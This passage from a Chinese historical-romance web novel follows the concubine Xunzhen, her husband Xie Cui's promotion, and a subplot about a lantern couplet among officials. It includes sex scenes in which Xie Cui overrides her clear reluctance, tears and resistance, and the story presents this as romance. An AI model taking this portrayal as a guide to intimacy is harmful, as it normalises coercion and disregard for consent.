寻真感到喉咙干涩。 这具身体好像被唤醒了。 这种事情,即便没有感情,也是可以做的吧? 没有感情,身体也会感到渴望,以及快乐。 眼前突然光明。 寻真仰躺着,手上、身上一片狼藉。 月兰听到传唤,进来服侍。 见那床单染了血,一惊。 虽月兰还未成婚,但这些男女之事,她也是略知一二的。 女子月事,怎可行房事?这可是极为伤身的。 因女子经血被视为不祥,她本以为,姨娘月事来了,爷会让姨娘去偏房睡,却没想到,爷竟还要与姨娘共卧。 月兰的预感成真了。一边收拾着,一边想,明日还是得跟姨娘说说,月事期间,万万不可由着爷胡来。 月兰换完干净的床褥便出去了。 古代的月事带当然没卫生巾好用,稍微动一动就漏了。 虽然有丫鬟们帮忙换洗床单,寻真还是觉得不好意思,每次生理期睡觉,都会在身下垫块厚布。 生理期时,身体就会更敏感一点,再加上,谢漼本就有几分姿色,身材也好,身上又总是香香的,很好闻。 这具身体又是跟谢漼睡过的,所以,出现这种情况,也是很正常的。 并不是她真的对谢漼有那方面的想法。 寻真自我开解中。 见寻真两眼愣愣的,谢漼一笑,刮了下她的脸。 “不闹真儿了,睡吧。” 第二天,丫鬟们收拾好了偏屋,寻真便搬了过去。 月兰暗暗松了口气,爷到底是心疼姨娘的,昨日 那般,想来是因分别时间太长,才一时没忍住吧。 屋内,月兰压低声音对寻真说:“姨娘,女子在月事期间行房,可是极为伤身的,爷是男子,想来不太清楚,便疏忽了……往后,若是爷再提出了,姨娘可得狠下心拒了才是。” 月兰这又是脑补了什么? 不过,昨天那场景,的确让人误会。 寻真不知道怎么解释,便含糊应了声。 下午,月兰和引儿满脸喜色跑进来,说谢漼升官了。 谢漼外放做了两年官,还是治旱这种容易做出政绩的差,只要不出大失误,回来晋升是板上钉钉的事。 虽然寻真觉得这跟她没什么关系,还是笑了笑,问:“升了什么?” 月兰:“太学博士。” 大周朝官制,实行九品三十六级,每品分正、从两级,正从再分上、下。 国子监四门博士到太学博士。 谢漼直接跨了一个大品级,连跳三级。 要知道,没有家族的庇佑,朝中无人,那些低品级的小官,可能终其一生都定死在最初那一级,即便有才华,也有可能被埋没。 当然,像谢漼这样,才华过于出众,便如锥处囊中,是怎么都掩盖不住的。更别提他还出身名门,族中为官者如林,仕途升迁当然顺遂。 不过,寻真又想,谢漼升的这个官。 怎么还是个教书的? 第59章 第59章“鹰与鱼” 刚升官,谢漼忙得脚不沾地。虽在同一个院子里,每天也只有吃晚饭时能见上一面。寻真便提出回自己院子,谢漼同意了。 院中,榆树下。 秋千是双人的,还有靠背,寻真半躺在上面,盖着毯子,一条腿伸出来,慢悠悠晃着,十分惬意。 她正画着图纸,琢磨做个吸奶器。 谢漼在,她不好常去看容楣,还有阿进……也不知道,他喜不喜欢她送的礼物。 寻真想到这,便让瑞宝去问承安谢漼的休息时间。 自家爷对姨娘的宠爱,承安是一直看在眼里的。 毕竟,爷为了姨娘,都没有将他带去陇州,为此,承安心中难免有些失落。但也知道了,爷是将姨娘放在了心尖上,极为在乎的。 于是,这等小事,承安便没禀告谢漼,直接告诉了寻真。 太学是实行“五日一休沐”制度,也就是工作四天放一天。 此外,还有大量的节假日,比如春节放七天,寒食节和清明节连休四天,定省节每三年放假三十五天——一年的休假天数有一百多天。 大周朝官员的待遇还是很不错的。 过了两天,寻真月事结束,谢漼令人送来一条裙子。 这条裙子形制非常大胆,已经完全不像古装了。 寻真穿上,站在全身镜面前,恍惚了一下。 浅粉色。袖子类似水袖,半透明,紧贴肌肤,长度盖过手背。 下半身裙摆似鱼尾,绣着桃瓣。从上至下渐变,桃红色慢慢变淡,像水墨渲染一样蔓延过渡。 裙摆从臀部包裹至大腿,到了膝弯处,便如同花瓣一般绽放开来。 非常修身的版型,贴合她的身材,几乎没有空隙。 好像现世的高奢定制国风礼服。 谢漼这想象力,要是到现代,当个设计师,绝对可以混饭吃。 然而在土著人眼中,这裙子太超出她们的接受程度了。 身体的每一处线条都被清晰勾勒,还是半透明的。 两丫鬟双双红了脸,这裙子的意图太过直白。 月兰瞧了瞧外面的天色,这裙子白天穿都有点挑战她的底线。 月兰:“姨娘,试过了,便换下来吧?” 寻真好像明白了谢漼的用意,点了点头,把裙子换下来。 二月十五,是花朝节。 寻真院子里种着几株桃树、梅树,早上,丫鬟们剪了五彩纸,粘在花枝上,进行“贺花神”。 寻真听谢进说过,花朝节这天,官府会在花神庙,组织祭祀花神仪式,场面非常盛大,百姓皆可参与。 街上也会特别热闹,开设花市,摊位上摆满了各式各样的花。女子们会簪花游行,文人墨客们则会在湖边举办雅集,以花为题,吟诗作对。 夜幕降临,曲江池畔灯火辉煌,花香萦绕。 人来人往,热闹非凡。 范岂在一个卖花灯的小摊前驻足,目光在琳琅满目的花灯上拂过,最终落在一盏鹰灯上,嘴唇微微蠕动,不知在想什么。 韦义从一花摊前转身,便见范岂拿了一盏灯,口中念念有词。 韦义上前,回身指了一下花摊,笑道:“怀逸,不给王家小姐买束花送去?” 范岂恍恍惚惚。 韦义心道,这小子,真是好运道,竟叫王家的嫡孙女看中了。 韦义能理解他这副魂不守舍的模样,若换了他,全家都得烧高香庆贺。王家是什么家族?那可是与谢家并立的世家! 那王琅便是王家小姐的叔父,去了趟陇州,回来便升了官,从三品的刺史! 更不用说,王家祖上还有好几位相爷呢! 韦义和范岂家世差不多,在苏州有点名堂,但放到京都来,那就什么都不是了。因此两人在京都做了三年官,都没升一级。 韦义到现在还是最末等的官,大理寺狱丞,从九品下。 这三年,上下打点花费了不少银钱,没什么用。京都关系网错综复杂,裙带勾连紧密,一有升迁机会,自然优先考虑自己人。 像他们这种外地来的,在京中根基浅薄,即便有才华,也极难融入。 韦义能考中进士,运气占很大成分,没升迁也没那么失落,他知道自己的水平。反倒为好友感到可惜,他知道范岂是很有才华的,但在京都,怎敌得过那些靠关系的人。 如此才华被埋没,实在令人惋惜。 如今,看到他有了这桩好亲事,韦义打心底为兄弟高兴,平时言语间还经常暗示,兄弟你以后出息了可别忘了愚兄我之类的话。 可范岂自从定亲之后,状态就有些怪异,整日魂不守舍。 韦义就理解为他太高兴了。 韦义看向范岂手中的灯,道:“怀逸,莫非要将这灯送给王家小姐?” 范岂一怔,没有解释。 韦义心道,范岂真是读书读傻了,成了个不解风情的书呆,怎能送女子这般刚硬之物。 两人一同走在曲江池畔,微风拂面,花香阵阵。 “怀逸,我听闻那王家小姐是才女,性情柔曼婉约,定喜欢些温婉雅致之物。” “你等会儿还是买些鲜花香囊之类的吧。” 他们朝着最大的一所花船走去,韦义提前订好了位置,在三楼的雅厅。 中央的胡姬正在表演胡旋舞。胡乐悠扬,铃鼓与筚篥交织,明快的节奏声声入耳。 二人在窗边落座。范岂将那盏鹰灯放在桌边。 韦义欣赏着胡女舞蹈,喝着酒。 沉默许久的好友突然对他道:“从仁兄,若以鱼与鹰为题,作四言对句。” “你当如何构思?” 韦义,他这进士中得稍微有点水份,诗赋更是弱项。 这点,范岂是知道的。 “怀逸,你问我啊?”韦义指指自己,笑了笑。 范岂叹了口气。 脑海中不由浮现两年前那天,岁除夜,他碰到了小楼姑娘与一小少年。 那时,范岂便注意到了二人手中的灯。 与韦义分别后,范岂并未回家,而是往小楼姑娘来的方向走去。 果然,看到了一灯摊,寻觅许久,只找到一盏相似的鱼灯。 那小贩便说:“大人好眼光,这可是我这儿卖得最好的灯呢。今日就剩这一盏了。” 范岂便问:“可有鹰?” 那小贩咦了一声,似是颇为惊讶。 范岂便道:“适才瞧见有人拿了一盏鹰灯,那模样很是别致,便想买一盏。你这儿没有?” 见客人放下了 鱼灯,小贩有些紧张,毕竟快收摊了,能多赚一笔是一笔。 做小本生意,自然要记性好、眼尖嘴甜,才能有回头客。 小贩忙道:“您方才看到的是一位小姐拿的吧?” “那灯就剩一盏了,被那小姐买走了!” “那小姐不光买了鹰灯,还拿了大人您手里的鱼灯。” “小姐还作了一副对子,听着极为大气、精妙呢。” 在京都,哪怕识字不多,平日听多了文人士子吟诗作对,也被熏陶出了几分雅趣。那小姐念的对子,听着十分豪迈,画面一下子浮现在眼前了,所以小贩便有些印象。 小楼姑娘还作了对子。 范岂便问:“是何对子,你可还记得?” 小贩:“好像是鹰什么天空,鱼在水底飞的……” 范岂很想知道,心里有个钩子不断地挠。 他便在摊前站了许久,与那小贩磨了小半个时辰,让小贩把那短对子想出来。 小贩抓耳挠腮的,心道,这是哪来的书呆,灯不买,竟逼问他一个对子,他哪记得住。 范岂便掏了不少银钱出来,那钱都可以买十个灯了。小贩这才心甘情愿,努力配合范岂回想。 八个字,前面是鹰,后面是鱼。 小贩形容后句,鱼在浅水飞,大概是这么个意思。 范岂便想,有翱、翔、腾、凌…… 放在后二字,不合适。 那么第二字,是动字。 既然是浅水,那么第三字便是状字了。 范岂买了那盏鱼灯,回去又琢磨了一晚。 得出了好几版答案。 比如,鹰唳深空,鱼翱浅濑。 但总感觉不对味,这八个字组起来的可能性太多了。 范岂想不出满意答案,便觉得难受,心里一直惦记着,时不时便琢磨一番,今日又看到那小贩。那小贩被他“折磨”过一回,彻底记住了,今日碰见,还特地亮出了鹰灯,问他要不要买。 韦义望了眼窗外,看到一人身影,便激动道:“怀逸,缮之在下面呢,他素来文采高妙,辞赋精奇,不如问问他,这鹰与鱼,该如何做对?” 范岂下意识便道:“别——” 韦义也有自知之明,如今两年过去,谢漼升了官,而且距离科考都过去三年了,那点子同年情谊早就淡了,如今去套近乎,倒有攀附之嫌。 韦义也圆滑了不少:“罢了罢了,咱们还是看舞吧!” 可没料。 潘竞也在这三楼花船定了雅座,这一碰上,韦义的社牛属性便被激发了。 然后四人便面对面坐在一块儿了。 潘竞明显是看热闹不嫌事大,他又是唯一知道内情的,看了看范岂,又看了看谢漼,然后笑道:“小弟,在此恭喜怀逸兄定亲了。” 见谢漼的目光投来,范岂只扯嘴笑笑。 四人桌上,只潘竞和韦义一直交谈,聊些京中趣事,比如有个官员去妓院寻欢作乐,结果被夫人揪着耳朵一路拖拽着回家,沦为都城中的一大笑柄之类的小八卦。 谢漼只偶尔饮酒,看着舞蹈,并不参与交谈。 范岂也沉默着。 韦义察觉到好友心情低落,便替好友问:“缮之。怀逸有一对子,想不出答案,可否为他解惑?” 话一出口,范岂便用力抓了一把韦义的大腿,韦义吃痛,嘶了一声。 谢漼看了眼范岂,问道:“是何题?” 韦义:“便是鱼与——” 被范岂打断:“没什么,只是我闲暇时胡乱想的罢了,不足为道。” 谢漼眼神一扫,掠过桌上的鹰灯,没追问。 寻真画了张日历,标出谢漼的休息时间。 一目了然。 明天就是谢漼休沐日了。 饭后,寻真早早上床了,听闻谢漼来了,便起身穿衣。 月兰红着脸将那条裙子拿来了。 “姨娘,爷叫您穿上此裙。” 寻真换好,立在镜子前。 虽然她并不认为这裙子哪里有问题,甚至还觉得挺好看,可是,专门穿去给谢漼看,心里就隐隐有些不舒服。 脚步声近了,谢漼在次间等了许久,不见寻真过来,便直接走进内室。 寻真闻到了花香,转过身。 谢漼手里拿着一束花,朝她走来。 “今逢花朝,见此桃花烂漫,似真儿之美。” “特折花赠你。” “愿我真儿,福泽绵延,岁岁和美。” 寻真怔了怔,看向谢漼。 他身上的衣服也是浅粉色,手拿一束桃花,人与花相互映衬,叫人分不清到底是花更娇,还是人更美。 寻真收下了花,忍不住多看了谢漼几眼。 不得不说,能把粉色穿得那么好看的男人可不多。 谢漼见她的目光在自己身上流连,一笑,拉了她往塌上带。 谢漼将她抱到腿上。 寻真闻到他身上有淡淡的酒味。 寻真:“爷可要饮些解酒汤?” 谢漼:“我喝的不多。不必。” 谢漼瞥见榻间夹缝中露出一角纸张,拿起来看。 是寻真画的吸奶器。她顺手放在榻上,忘了收。 寻真眼疾手快,一把从谢漼手中夺过纸,揉作一团,从他怀中跳下来,跑到柜子前,把纸塞进去。耳根泛红。 谢漼看着她,“真儿这又是瞒着我,画了什么?” “没什么……”寻真站在柜前,“我随便画着玩的,没什么好看的……” 谢漼直接下了塌,走过来,打开柜门,很快找到那张纸。 寻真伸手去拦,谢漼看了眼她,寻真就缩回来了,在身前捏着自己的手指。 小声说了一句:“这是我的东西……” 谢漼听到了,一边展开纸,一边说:“真儿怎还与我分你我。” “真儿是我的人。” “真儿的东西,自然也是我的。” 谢漼慢慢展开,端详许久:“这是何物?” 还好他没看懂,寻真松了口气。 “都说了,是我画着玩的。” 谢漼盯着纸看,半晌,似是想到了什么,“莫非……”然后转过头,目光投向寻真胸前。 屋内空气仿佛凝固了。 直到窗外传来脚步声,打破了这尴尬的气氛,应该是月兰来奉茶,寻真走向门口,准备去接茶。 刚迈出一步,莫名觉得这场景好像有点熟悉。 寻真突然有一种不祥的预感,加快步速。可身后人动作更快,欺身上前。 下一秒。 谢漼勾住了她的腰,往后一带,寻真的后背便紧紧贴在谢漼身前。布料薄透,寻真感受到他身上传来的丝丝凉意,沁入肌肤。 谢漼的另一只手,横在她胸前。 作乱。 门外脚步声愈发近了,寻真感觉月兰马上要进来了,而她跟谢漼这种姿势,正对门口,谢漼还……寻真接受不了。 寻真被捏得脑子发胀,手攥紧了裙摆:“爷……” “真儿紧张什么,若是不想叫人看见,唤一声便是。” 寻真呼吸都乱了,若是出声,还不知是怎样令人难堪的声音,外面人一听,就知道里面在做什么了。 后脑贴在谢漼胸膛上,摇了摇。 谢漼轻笑,放过了她,朝外高声,“不必进来。” “是。”外面有人应了声。 那脚步声便刹住,渐渐远去了。 谢漼低头,唇贴近寻真的发:“此时这屋里,只有你我。” “旁人不会进来……也不会听见。” “真儿便放心吧,莫要压抑自己。” 寻真腿软站不住,谢漼便托住她,往榻上抱。手上的动作却不停。 寻真靠着他,胸口起伏。 谢漼突然道:“今日,我听闻一个消息。” 寻真眼前朦胧,反应有些迟钝:“……什么?” 手无意识地抓紧裙摆,又缓缓松开。 谢漼:“那范岂已经订亲。” “是王家的嫡次孙女。” 寻真:“范……” “是谁?” 对于寻真来说,范岂不过是仅有两面之缘的陌生人。现在又被谢漼握在手中 ,脑子混沌,当然想不起来。 谢漼的声音从后背传来,带着几分愉悦。 “与你我都不相干的人。” 过了一会儿,谢漼轻叹:“真儿实在对为夫太过见外。” “姜娘子都与我说了,真儿乳中淤堵。” “解决之法简单,叫人吸出便可。” “如今恒哥儿也已大了,早断了奶,那真儿觉得——” 谢漼凑近,在她耳边说过,“该求谁帮忙?” 寻真咬住了唇。 那股熟悉的感觉汹涌袭来,胸前衣服很快被浸湿。 谢漼自然发现了,摸了摸她的头,在她耳侧说,“真儿放松。” 谢漼拉上榻前窗户的帘子。 扯松她腰间系带,俯身。 许久之后,寻真倒在谢漼身上。 谢漼湿润的唇吻了吻她的脸,然后将她打横抱起。 帐内明亮。 谢漼含笑看着她。 见她肩膀、脖子都漫上绯色。 知她羞怯,便也不再逼得太紧。只温声细语:“真儿莫怕,无事的。” 寻真闭着眼睛,屏住了呼吸。 寻真攥紧拳,许久,谢漼俯下身,拂开寻真的眼皮。寻真双眼含着水光,看到映在谢漼眼中的自己。 谢漼欲吻她的唇。 寻真抬手,捂住了脸。 …… 寻真的泪落下。 寻真再次深切感受到谢漼骨子里的强势,那股力量从每一寸肌肤、每一个毛孔侵入,铺天盖地席卷。让人无处可逃。 他还迫她睁开眼看着这一切。 到最后,完全击溃了她的心理防线。 寻真的肩膀不住地抽动着,脸埋在枕头里。 谢漼圈到怀里,拍着她身子。 “好了,好了。” “真儿莫要哭了。” “是为夫的错,只因真儿太娇艳动人,为夫旷了许久,一时情难自已,孟浪了些,吓到真儿,是为夫不对。” “日后,定不会如此了。” 温声哄了许久,怀中人似是累极,睡去了。 谢漼看了会儿寻真的睡颜,亲了亲她的唇,唤人进来收拾,然后抱着寻真去浴房。 月兰进来,头一回看到床上如此狼藉,惊得倒抽一口气,瞪大了双眼。床褥、床单、被子都脏了,靠近床头的帐子甚至被撕裂。 她一人收拾不完,便叫引儿进来。 引儿一见,满脸通红:“怎这般……” 月兰:“快些收拾吧,姨娘与爷很快便回了。” 最后是将所有的床上用品都更换了,还里里外外把床架擦了一遍,两人配合干活,倒也快,收拾好,便退了出去。 谢漼终于如愿,心中自然满足得很。 第二次为寻真擦拭,已十分熟练。 谢漼捏了捏她的脸,如今瞧着,失忆也有失忆的好,这般害羞,倒有别样的趣味。 第60章 第60章“晨醒” 寻真睁开眼。 身上的感觉跟平常不同,身体陡然一僵,肩头、腰上各有一只手。 寻真僵着脖子转过去,看到谢漼的脸。 晨光中,谢漼仿佛被镀上一层柔光。 玉面朱唇,鼻梁挺直,长睫似羽,眉如墨画。 一醒来,就看到这样一张俊脸,寻真却没什么欣赏的兴致。一瞬间,昨晚所有的记忆如潮水般涌来。 寻真脸、脖子红成了一片。 “真儿可算醒了。” 谢漼睁开了眼。 锦被中,谢漼的手轻抚着她的背。 “今日难得与真儿一同贪睡,这滋味也倒不错。” 用午膳时,寻真看了眼谢漼,脑中冷不丁浮现昨晚他不穿衣服的样子,忙晃了晃脑袋,试图将这画面驱散。 谢漼瞥了眼,见她脸颊微红:“真儿在想什么?” 寻真:“没什么……” 不过,谢漼身材是真挺不错的。腰腹紧实,肌理分明,不是那种过于粗犷、狰狞贲张的类型。皮肤也白,看着干干净净的。 而且,他的皮肤不是看上去滑。 摸起来也确实……手感很好。 用完饭,谢漼瞧了眼寻真剩下的半碗米饭,“今日怎了,没胃口?” 寻真摇摇头。 昨天那么多次,万一…… 想到这个,寻真内心焦灼,便没胃口了。 这里应该有类似避孕药的汤药吧? 如果她向谢漼要的话,他会给吗? 可是,现在都中午了,小说里好像都是做完马上喝? 谢漼揽着寻真去次间,低头望去,她蹙着眉,不知在为何事烦忧。不过,此刻搂着她,她身子虽还有些紧,却不像先前那般抗拒他了。 肌肤相亲之后,果真往前跨了一大步。 谢漼心道,早该如此。 先前就不该那般纵着她,以至于自己竟旷了如此之久。 也怪不得他昨日一时没能把控住。 谢漼新获升迁,当下事务繁杂,本不应如此荒废正事。便是公务都处理完了,谢漼也不会任由自己整日闲坐,无所事事。谢漼以前读到,“腰间仗剑斩凡夫”“暗里教君骨髓枯”,因沉迷女色,致使荒废正业、身心受损,谢漼心中颇不以为然,若心性坚、自制力强,断不会被外物轻易扰乱心智。 只不过世间男子大多难以免俗。 可如今,将真儿抱在怀中,自己也沦为这俗世男子中的一个。 谢漼竟觉得,就这样抱着她,即便什么都不做,心中都满足极了。 谢漼叹气,他的修行还不够。 谢漼随手拿了本诗经,为她讲解。 寻真听得昏昏欲睡。 申时,承安来报,谢二爷去谢漼的院子找他了。 谢漼起身,望向窗外天色,竟不知不觉过去了两个时辰。谢漼离开前,摸了摸寻真的头。 总算走了。 寻真在榻上瘫着,本想去床上躺一会儿,可一踏入卧房,目光所及,这处那处,那些情景便涌现了。 寻真到柜子前,取出一个小箱子,打开锁。 箱子里装着谢进送她的抓钩。 寻真蹲在箱子前,拿着抓钩,纠结着。 突然,小窗那边传来敲击声。 三长两短。 是谢进! 现在是白天,虽然月兰她们基本不会去后面,但还是太危险了。 寻真跑过去,支起窗。 外面阳光正好,光线明亮。 谢进穿一身锦袍,腰间束玉带,特别精神。 手里拿着根木枝,眉眼弯弯,笑得灿烂,露出一口洁白的牙齿。 短促而轻快地叫她:“姐姐!” 寻真看着面前少年没有任何烦忧的笑容。 心中竟生出恍若隔世之感。 “姐姐放心吧,我都瞧好了。” “见五兄走远了才过来的!” “姐姐,后日便是你生辰了,我已备好礼物。那日,五兄可当值?” 谢进已想好了,若是五兄要来,他寻不到时机进来,便只能延后送了。 寻真:“今日他休沐。” “他是五日一休,后日他不当值。” 又想到,谢漼曾在信中说有礼物送她,谢漼说过的话,倒是没有假的,那后天晚上他应该会来。 “阿进,你可以白天来。” 谢进点头:“好!” 谢进想到一事,那日他瞧见五兄抱着姐姐,姐姐脸很红,像是病了。可五兄回来了,他便不能晚上来找姐姐,独自担心了几日。 “姐姐,我生辰那日,我看到五兄抱着你。姐姐的脸看着很红,可是病了?” 寻真看着谢进,有些尴尬。 谢进虽显了少年模样,个头与长相一天一个样,现在瞧着,应是比她高了。可心理上,还没成熟呢。 支吾了一声:“就是有些……头疼,站不住,所以你五兄……” “原来是这样。” 谢进清澈的眼睛望向她:“姐姐如今,应是已大好了吧?。” 寻真:“好了。” 谢进:“那姐姐……我就先走了?” 谢进不舍,但也知晓,白日太危险,不能久留。 寻真应了一声,脑中突然闪过一个念头,一时冲动,叫住他。 “等等,阿进。” 谢进迅速转过身,微弯身躯,手放在窗沿上,眼睛亮晶晶。 简直像被主人唤了名字的狗狗。 寻真挥散脑中乱七八糟的想法,犹豫地开口:“阿进,你……能不能帮我一个忙?” 谢进:“姐姐尽管说,我肯定能帮上!” 谢进什么都不懂,叫他去买那个,太不合适了吧? 要不还是自己找机会翻墙出去买? 谢进:“姐姐快说,我整日都闲着,一会儿便可去帮姐姐做事!” 还不知道谢漼会不会回来。 今晚会不会留宿。 容不得她再多加考虑了。 寻真下定决心说道:“阿进,你可不可以帮我买避孕的药?” 谢进闻言,顿时愣住。 寻真:“应该是叫避子汤。” 谢进虽不懂成年男女之事,但来京都已有两年多,见得多了,又常听母亲哭诉,也知道府中的姨娘们皆是盼着能生下孩子。 虽知晓姐姐与旁人不同,可还是大为震惊。 姐姐竟不想为五兄生孩子。 寻真见他沉默,心想这确实有些为难他了。 “若是不行,也没关系,只是还望阿进,不要将我对你说的这些话告诉旁人。” “我帮姐姐!”谢进说,“姐姐与我认识这般久了,应当知道我的为人。” “我怎会将姐姐的事,告诉他人?” 谢进凑近些,低声道:“姐姐要多少幅药,我现在就去帮姐姐买来。” “先……”寻真想了下,“买个五幅吧。” 买多了也没地方藏。 谢进:“好,姐姐。等会儿五兄可还会来?” 寻真:“我也不知。不过他去找二爷,应是不会很快回来的吧。” 谢进:“那我快去快回,一会便来找姐姐。” 寻真:“好,谢谢你,阿进。” 谢进:“姐姐与我说什么谢!” 谢进走后,寻真很紧张,生怕两人直接撞上了,时不时向外面望望,还告诉月兰和引儿,若是看到谢漼来了,立马告诉她。 月兰应了一声,脑海中浮现昨日床中情状。 因爷来了,她跟引儿便睡在耳房,离得近,以便随时伺候。 因而,昨日卧房中的动静,她跟引儿听得真切。 姨娘的声音断断续续,时有时无。 一开始,姨娘声音微弱,好似极为难捱。 到后面,便转为哀叫、求饶,仿若遭了什么酷刑,最后还哭了。 再加上后来瞧见房中的情景,两人都以为姨娘怕是遭了大罪,爷走了两年,许久未曾纾解,便一时放肆了。 月兰见寻真一直往外面张望,便以为她是盼着谢漼来。 心中又想,男女之事,她跟引儿不懂,应是她们想岔了。 昨日爷虽然行事激烈了些,但姨娘应是舒坦的吧。不然,若是爷昨日那般折腾,姨娘怎还会这般盼着爷来呢? 谢进动作很快,半个时辰便折返回来,他敲了窗,举起一个大药包:“姐姐,买来了!” 寻真正要把药拿进来,却听见脚步声,忙将窗合上了。 假装在活动身体,伸展双臂,转身:“怎了?” 月兰:“奴婢远远瞧见了爷,这便过来告诉姨娘。” 这么快! 寻真心跳如雷:“好,我知道了,你先出去吧,我换身衣服。” 月兰:“是。” 寻真急忙打开窗,谢进还在外面站着,没走。 紧张兮兮的样子。 寻真本想把药锁在箱子里的。那箱子装着钱和一些贵重首饰,钥匙她从月兰那儿要来了,锁在那便不会被发现。抓钩也放在里面。 现在藏来不及了! 寻真指了一下墙角,语速极快道:“阿进,那边墙角有一个狗洞,你把药放那儿吧!” 谢进忙跑过去,很快找到,拨开杂草,把药放进去。 然后准备翻墙。 寻真见他放好了药,还细心地将草拨回原位,让人看不出异样。 真是个心思细腻的孩子。 寻真放下窗。 听到身后传来声音:“真儿?” 寻真的背陡然一僵,额头上冷汗都冒出来,掌心也湿了。 她僵硬转过身。 谢漼朝她走来,“真儿在做什么?” 谢漼这人太精,绝不能让他察觉自己很紧张,寻真努力平复心绪,强装镇定。 “没什么……” 耳边传来一声闷响,是谢进翻墙落地的声音。 虽然能听出谢进极力克制了力度,但因室内过静,寻真所站之处,又离后墙极近,这响声像是落到寻真头顶。 重重一下,头皮发麻。 若是让谢漼发现避孕药,必会牵扯出谢进。 这两桩事叠加起来,寻真简直不敢想自己会面临怎样的可怕后果。 还是太冲动了。 寻真的心脏都快跳出嗓子眼。 忍不住看向谢漼。 谢漼似是听到了,脚步一顿:“外面是何声——” 寻真当机立断,跑上前,挽住了谢漼的手臂。 因太过紧张,抓着他手臂的力道都重了些。 “爷怎这么快就回来了?” 谢漼身躯一滞,垂头看她。 寻真怕露馅,避开他的目光,脑袋靠在他手臂上。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第61章“避子” 谢漼许久没动静。 寻真心想,那狗洞深,又被杂草覆盖,刚才她看着谢进放好的。就算谢漼去后面,应该也发现不了,没事的。 正想着,身体一下子腾空了。 谢漼弯下身,单臂托住她的膝弯,抱了起来。 寻真连忙去扶,双手抓住他的肩膀,慌乱间,听到谢漼轻笑,“方才听月兰说,真儿一直在等着我来,我还以为她诓我。竟是真的。” 谢漼稳稳抱着她,往塌边走去。 寻真垂着眼,应了一声。 谢漼似是愉悦极了,眉目舒展,勾起寻真的下巴,低头。 寻真偏头一躲,他的唇擦过脸颊。 谢漼的笑凝住了。 遭了。 寻真咬着唇,想对策,脑海中突然浮现她跟念芙说过的那些招数。 要不,试试? 寻真缓缓靠上去,额头抵着谢漼的胸膛,食指戳了戳他胸膛右边位置。 “我才没有等你。” “……方才爷都没跟我说,回不回来。” 寻真刻意放软声音,把自己身上的鸡皮疙瘩都说出来了。 这一套真的不适合她。 空气仿佛凝滞了一瞬。 谢漼的胸膛震颤,头顶传来笑声。 谢漼抚了两下寻真的后脑。 “真儿竟为这事恼我了。” “适才二伯有事寻我,因事由未明,归时难测,便没与真儿说。” “下回定提前告诉真儿。不叫真儿白等。” 寻真埋在谢漼胸膛里,嗯了一声。 算是圆过去了。 谢进帮寻真办完事,自觉做了件了不起的大事,行在廊中,脚步轻快,从腰间掏出竹蜻蜓,一边玩,一边朝着自己的院子走去。 看着飞旋的竹蜻蜓,突然一拍脑袋,忘了跟姐姐说了。 他很喜欢很喜欢姐姐送的礼物。 迎面碰上了谢璋。 谢璋在走廊尽头,身后跟着两个丫鬟。 竹蜻蜓的速度渐渐慢了下来,恰好飞到谢璋面前。 谢璋五指张开,轻轻握住了。 谢进是个极易开心的人,今日不仅见到了姐姐,还帮了她的忙,心情格外畅快。 瞧见谢璋,他立刻跑了过去。 他对谢璋的印象非常好。 恒哥儿是乖孩子。 谢进跑到谢璋跟前,蹲下身子,与他平视,说道:“恒哥儿,你想不想玩?我可以借你玩一会儿。” 谢璋看了看手中的竹蜻蜓,又看了看谢进,不知在想什么。 谢进心想,恒哥儿这么安静,脸上没表情,不哭也不笑。 怎一点没小孩子的活泼劲儿呢。 过了许久,谢璋沉静的眸子看向他:“怎么玩?” 谢进:“我教你!” 两个丫鬟便退到一旁,看着两位主子玩起来。 谢进给谢璋示范玩法,双手用力一搓,竹蜻蜓便飞了起来。 俩孩子,一大一小,齐齐仰头望向竹蜻蜓。 待竹蜻蜓落地,谢进捡起来,还耐心地跟谢璋讲解玩这个的诀窍,怎样使劲便能掌控它的飞行方向。 谢璋认真地点点头。谢进觉得恒哥儿实在太乖,太可爱了,想摸摸他的头,却被他躲开了。 谢璋学着谢进的动作,一搓,竹蜻蜓飞起来,他便仰着头,目不转睛地瞧着,等它落地,再跑去捡起。 谢进坐在廊凳上,看着谢璋玩。 恒哥儿跑来跑去,总算有点孩子样了。 谢进心想,恒哥儿定是随了五兄,一点都不像姐姐。 谢璋不贪玩,玩了几次,就捏着竹蜻蜓走到谢进面前。 脸蛋微红,小胸膛随着呼吸一起一伏。 谢进笑道:“恒哥儿玩好啦?” 谢璋嗯了一声,矜持地说:“谢谢。”然后回头看了一眼两名丫鬟,唤了一声“碧珠”,两丫鬟便快步奔上前来。 三人离去了。 谢进坐着,看了一会谢璋的背影,跑上前。两丫鬟见谢进追上来了,便让到两边。谢进超过谢璋,手里拿着竹蜻蜓,倒着走,“明日若天晴日朗,恒哥儿要不要与我一道去放纸鸢?” 谢璋没有玩伴。虽府上也有与他年岁相仿的孩童,比如他现在呆的院子里,就有一个。琮哥儿,跟他同辈,还比他大一岁。 但谢璋不喜欢同他一起玩。 琮哥儿爱哭爱闹,常常让谢璋摸不着头脑,为何突然就大哭起来,有时甚至还会来抢谢璋的东西,所以谢璋觉得,还不如自己一个人呆着。 此刻,谢璋看着谢进,犹豫了。 虽他第一眼见到谢进时,心底里并不太喜欢这个人。 可今日,谢璋对他有点改观了。 谢进将竹蜻蜓插在腰间,双手抬起枕在脑后。他身后,赤霞染空。 谢进笑容明朗:“怎么样?恒哥儿!” 谢璋迟疑片刻,轻轻点了点头,脚步定住,“你——” “怎了?” 谢进话音刚落,脚后一空,这才发现已经到了走廊尽头,被廊凳一绊,身子不由自主地往后栽去。好在他平时翻墙翻多了,身手练出来了,反应迅速,身子一歪,整个人扑在廊凳上,这才不至于掉到后面的草丛中去。 只是这姿势有点狼狈,不雅。 谢进听到一串稚嫩的笑声,爬起来,见谢璋站在他面前,眉眼弯弯,笑得开怀。 谢进看怔了,恒哥儿笑起来的样子,可真像姐姐啊。 谢进挠了挠头发,站起来,整理了下衣服,“那明日早上,我来找恒哥儿?” 谢璋:“好。” 夜色渐深,烛火摇曳。 新换的床帐,边缘缀着珍珠串成的流苏。床帐规律地前后摆动着,珍珠交相触叩,发出清脆的叮叮当当声。 今夜的谢漼温和许多,没有使出昨日的十分之一力道,可寻真还是觉得难捱。 寻真胡乱不知抓住了什么,眼角溢出泪珠, 谢漼:“真儿为何不敢睁眼看我?” 寻真睁眼,视线蒙了层水雾,谢漼的面容模糊不清。 谢漼俯身靠近。寻真抬起双臂,挡住了自己。 此事息,寻真感到身下似有什么东西缓缓淌出。 